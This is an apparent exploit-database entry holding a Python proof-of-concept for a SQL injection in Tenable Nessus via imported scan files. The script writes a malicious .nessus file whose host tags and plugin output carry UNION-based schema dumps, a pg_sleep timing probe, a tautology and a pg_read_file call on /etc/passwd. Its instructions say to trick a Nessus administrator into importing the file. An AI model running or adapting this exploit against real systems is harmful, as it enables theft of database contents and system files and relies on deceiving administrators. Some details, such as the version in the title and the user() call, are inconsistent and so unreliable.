Tenable Nessus 10.12.1 - SQL Injection

# Exploit Title:    Tenable Nessus 10.12.1 - SQL Injection 
# CVE:                  CVE-2026-57588
# Date:                 2026-06-26
# Exploit Author:       Mohammed Idrees Banyamer
# Author Country:       Jordan
# Instagram:            @banyamer_security
# Author GitHub:        https://github.com/mbanyamer
# Author Blog  :        https://banyamersecurity.com/blog/
# Vendor Homepage:      https://www.tenable.com
# Software Link:        https://www.tenable.com/downloads/nessus
# Affected:             Nessus 10.12.0 and prior
# Tested on:            Nessus 10.12.0
# Category:             Remote
# Platform:             Linux / Windows
# Exploit Type:         SQL Injection
# CVSS:                 4.3 (Medium)
# Description:          A SQL injection vulnerability exists in Tenable Nessus when importing malicious scan result files (.nessus XML). 
#                       Successful exploitation allows data exfiltration from the backend database by a privileged user.
# Fixed in:             Nessus 10.12.1 and later
# Usage:
#   python3 exploit.py -o malicious.nessus
#
# Examples:
#   python3 exploit.py
#   python3 exploit.py --output poc.nessus
#
# Options:
#   -o, --output     Output filename for the malicious .nessus file
#
# Notes:
#   • This is a Proof of Concept. Requires social engineering to trick a privileged user into importing the file.
#   • Works best against PostgreSQL backend (default in Nessus).
#
# How to Use
#
# Step 1:
#   Generate the malicious file using this script.
#
# Step 2:
#   Deliver the .nessus file to a Nessus administrator and have them import it via the web interface.

def banner():
    print(r"""
╔██████╗  █████╗ ███╗   ██╗██╗   ██╗ █████╗ ███╗   ███╗███████╗██████╗╗
║██╔══██╗██╔══██╗████╗  ██║╚██╗ ██╔╝██╔══██╗████╗ ████║██╔════╝██╔══██║
║██████╔╝███████║██╔██╗ ██║ ╚████╔╝ ███████║██╔████╔██║█████╗  ██████╔╝
║██╔══██╗██╔══██║██║╚██╗██║  ╚██╔╝  ██╔══██║██║╚██╔╝██║██╔══╝  ██╔══██╗
║██████╔╝██║  ██║██║ ╚████║   ██║   ██║  ██║██║ ╚═╝ ██║███████╗██║  ██║
╚═════╝ ╚═╝  ╚═╝╚═╝  ╚═══╝   ╚═╝   ╚═╝  ╚═╝╚═╝     ╚═╝╚══════╝╚═╝  ╚═╝
        ╔═╗ Banyamer Security ╔═╗
""")

import argparse
import xml.etree.ElementTree as ET

def create_malicious_nessus(output_file):
    root = ET.Element("NessusClientData_v2")
    report = ET.SubElement(root, "Report")
    report.set("name", "PoC - CVE-2026-57588")
    host = ET.SubElement(report, "ReportHost")
    host.set("name", "poc-target.example.com")
    host_properties = ET.SubElement(host, "HostProperties")
    tags = [
        ("hostname", "evil-host' UNION SELECT NULL, current_database(), version(), user() -- "),
        ("os", "Linux' AND (SELECT pg_sleep(5))=0 -- "),
        ("ip", "192.168.1.1' OR '1'='1"),
        ("fqdn", "test' ; SELECT pg_read_file('/etc/passwd') -- "),
    ]
    for name, value in tags:
        tag = ET.SubElement(host_properties, "tag")
        tag.set("name", name)
        tag.text = value
    item = ET.SubElement(host, "ReportItem")
    ET.SubElement(item, "pluginID").text = "999999"
    ET.SubElement(item, "pluginName").text = "CVE-2026-57588 PoC"
    ET.SubElement(item, "port").text = "0"
    ET.SubElement(item, "protocol").text = "tcp"
    ET.SubElement(item, "severity").text = "0"
    ET.SubElement(item, "description").text = "Proof of Concept for SQL Injection"
    plugin_output = ET.SubElement(item, "plugin_output")
    plugin_output.text = """Normal output
' UNION ALL SELECT 
    '=== DATA EXFIL START ===',
    table_name,
    column_name,
    '=== DATA EXFIL END ==='
FROM information_schema.columns 
WHERE table_schema = current_schema() -- """
    tree = ET.ElementTree(root)
    with open(output_file, "wb") as f:
        tree.write(f, encoding="utf-8", xml_declaration=True)
    print(f"[+] Malicious file successfully created: {output_file}")
    print("[+] Deliver this file to a privileged Nessus user for import.")

def main():
    banner()
    parser = argparse.ArgumentParser(description="CVE-2026-57588 Nessus SQLi PoC")
    parser.add_argument("-o", "--output", default="cve-2026-57588-poc.nessus", help="Output filename (default: cve-2026-57588-poc.nessus)")
    args = parser.parse_args()
    create_malicious_nessus(args.output)

if __name__ == "__main__":
    main()